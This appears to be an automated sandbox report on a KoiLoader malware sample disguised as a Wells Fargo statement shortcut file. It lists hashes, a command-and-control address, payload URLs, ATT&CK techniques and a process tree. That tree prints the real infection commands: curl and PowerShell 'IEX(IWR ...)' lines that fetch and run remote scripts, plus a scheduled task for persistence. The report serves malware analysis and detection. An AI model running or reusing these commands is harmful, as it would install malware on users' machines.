koiloader | 6be65b07c98affa804a965187dafb49078cec03bc6f8a772e330d1a0fb05c101

General

Target

wells_fargo_statement.lnk
Size

2KB
MD5

17b5bc02890b72e8c438da653880f57e
SHA1

133b89d4737e8821a3e8a6254936b19561b1cbe1
SHA256

6be65b07c98affa804a965187dafb49078cec03bc6f8a772e330d1a0fb05c101
SHA512

19053344692d6275345040c27d5a3abfaf8284902c7ae2d2ddee37d7bb883cebe27bf66fb85f93e416be65afcbd9ae2b9bde66966c1036402a0315508bf2164a

Score

10^/10

koiloader execution loader

Malware Config

Extracted

Family

koiloader

C2

http://79.124.78.45/hockamore.php

Attributes

payload_url
https://rdccob.com.br/wp-content/uploads/2021

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader

Detects KoiLoader payload 1 IoCs

loader

Processes:

resource	yara_rule
behavioral1/memory/3444-38-0x0000000007580000-0x000000000758D000-memory.dmp	family_koi_loader

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

25 3284 powershell.exe
32 3444 powershell.exe

flow	pid	process
25	3284	powershell.exe
32	3444	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exewscript.EXEwscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	wscript.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3444 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

4388 schtasks.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

3284 powershell.exe
3284 powershell.exe
3444 powershell.exe
3444 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3284 powershell.exe
Token: SeDebugPrivilege 3444 powershell.exe

pid	process
3444	powershell.exe

pid	process
4388	schtasks.exe

pid	process
3284	powershell.exe
3284	powershell.exe
3444	powershell.exe
3444	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3284	powershell.exe
Token: SeDebugPrivilege	3444	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

cmd.execmd.exewscript.EXEpowershell.exewscript.exe

description	pid	process	target process
PID 4080 wrote to memory of 4840	4080	cmd.exe	cmd.exe
PID 4080 wrote to memory of 4840	4080	cmd.exe	cmd.exe
PID 4840 wrote to memory of 1412	4840	cmd.exe	curl.exe
PID 4840 wrote to memory of 1412	4840	cmd.exe	curl.exe
PID 4840 wrote to memory of 4388	4840	cmd.exe	schtasks.exe
PID 4840 wrote to memory of 4388	4840	cmd.exe	schtasks.exe
PID 2432 wrote to memory of 3284	2432	wscript.EXE	powershell.exe
PID 2432 wrote to memory of 3284	2432	wscript.EXE	powershell.exe
PID 3284 wrote to memory of 2852	3284	powershell.exe	schtasks.exe
PID 3284 wrote to memory of 2852	3284	powershell.exe	schtasks.exe
PID 3284 wrote to memory of 4892	3284	powershell.exe	wscript.exe
PID 3284 wrote to memory of 4892	3284	powershell.exe	wscript.exe
PID 4892 wrote to memory of 3444	4892	wscript.exe	powershell.exe
PID 4892 wrote to memory of 3444	4892	wscript.exe	powershell.exe
PID 4892 wrote to memory of 3444	4892	wscript.exe	powershell.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\wells_fargo_statement.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4080

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c curl -s -v -o TBV2cg6yO4vs.js "https://rdccob.com.br/wp-content/uploads/2021/ranselUyl.php" & schtasks /create /f /sc minute /mo 1 /tr "wscript 'C:\Users\Admin\AppData\Local\Temp\TBV2cg6yO4vs.js' yGJI1qOC9MTt4Dn" /tn yGJI1qOC9MTt4Dn
2⤵
- Suspicious use of WriteProcessMemory
PID:4840

C:\Windows\system32\curl.exe
curl -s -v -o TBV2cg6yO4vs.js "https://rdccob.com.br/wp-content/uploads/2021/ranselUyl.php"
3⤵
PID:1412

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc minute /mo 1 /tr "wscript 'C:\Users\Admin\AppData\Local\Temp\TBV2cg6yO4vs.js' yGJI1qOC9MTt4Dn" /tn yGJI1qOC9MTt4Dn
3⤵
- Creates scheduled task(s)
PID:4388

C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE "C:\Users\Admin\AppData\Local\Temp\TBV2cg6yO4vs.js" yGJI1qOC9MTt4Dn
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -com "IWR -useba 'https://rdccob.com.br/wp-content/uploads/2021/methodistsqiP8.php' -outf $env:tmp\TQRZM5WDXQKY.js; schtasks /delete /tn yGJI1qOC9MTt4Dn /f; wscript $env:tmp\TQRZM5WDXQKY.js "
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3284

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /delete /tn yGJI1qOC9MTt4Dn /f
3⤵
PID:2852

C:\Windows\system32\wscript.exe
"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\TQRZM5WDXQKY.js
3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4892

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$env:paths = '7z2N3Q8Q5MBN'; IEX(IWR -UseBasicParsing 'https://rdccob.com.br/wp-content/uploads/2021/micromeliazD.ps1'); $vv.SetValue($null, $true); IEX(IWR -UseBasicParsing 'https://rdccob.com.br/wp-content/uploads/2021/wispierVCh.ps1')"
4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

Scheduled Task/Job

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
39f86cb56bdcbab9f5d300114d95bdb4

SHA1
af834cc05a94f9059466ebe84c6ac71719956bea

SHA256
83cdf3eba86fb377b354b132ea1d513112039573bed6da5ee3df333eb3f5f9b8

SHA512
bdb65ead652ac5254f015ff9da860e4a6ca7025ee1682af40faac9e9238f31a7b068518a3439efabefc6994aa29706a5f469159908090739528372aae7e118f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\TBV2cg6yO4vs.js
Filesize
321B

MD5
40b02291ce6b18d93eeebe95219a360f

SHA1
2bf4fcb41d5bcba11697b5d477898d8ac05ac9f0

SHA256
ffc1932b8ba8f23c15f4d9a0b38dbdc30259b313dc1fe97e80b676f9818ec19e

SHA512
09cf2dd7691a0a6740f691410a3674c0e77dc7b1769cd477ecb552b5f80cb8552508e1266ffe4db770ce0f8dc46a3a6a685222be1af32ba022c36e3fcdd3d850

Download Submit
C:\Users\Admin\AppData\Local\Temp\TQRZM5WDXQKY.js
Filesize
1KB

MD5
3a79598148b2a1fbb7f250700e2806f2

SHA1
834da13365c9e84feb483401d81efdf2d3085d36

SHA256
79500e6da45bdcc1a7ab61ddb9c9e23f3a4d527ffd8470ce8386245b4a7d71e5

SHA512
a9be76c4f4289df97fd5220cd1422abee1a1f9058ca0d49691d0f28f205455a65829aa9008f6867b828506333c4645276c90849451bb1584ac67e21f3832f01c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hw24yy1l.omq.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3284-11-0x0000021C75D70000-0x0000021C75D92000-memory.dmp

Filesize
136KB

Download
memory/3444-21-0x0000000005650000-0x00000000056B6000-memory.dmp

Filesize
408KB

Download
memory/3444-19-0x0000000004EE0000-0x0000000004F02000-memory.dmp

Filesize
136KB

Download
memory/3444-20-0x00000000055E0000-0x0000000005646000-memory.dmp

Filesize
408KB

Download
memory/3444-18-0x0000000004FB0000-0x00000000055D8000-memory.dmp

Filesize
6.2MB

Download
memory/3444-31-0x0000000005830000-0x0000000005B84000-memory.dmp

Filesize
3.3MB

Download
memory/3444-17-0x0000000004900000-0x0000000004936000-memory.dmp

Filesize
216KB

Download
memory/3444-33-0x0000000005E90000-0x0000000005EAE000-memory.dmp

Filesize
120KB

Download
memory/3444-34-0x0000000005F20000-0x0000000005F6C000-memory.dmp

Filesize
304KB

Download
memory/3444-35-0x00000000077B0000-0x0000000007E2A000-memory.dmp

Filesize
6.5MB

Download
memory/3444-36-0x00000000063B0000-0x00000000063CA000-memory.dmp

Filesize
104KB

Download
memory/3444-37-0x0000000007560000-0x0000000007561000-memory.dmp

Filesize
4KB

Download
memory/3444-38-0x0000000007580000-0x000000000758D000-memory.dmp

Filesize
52KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads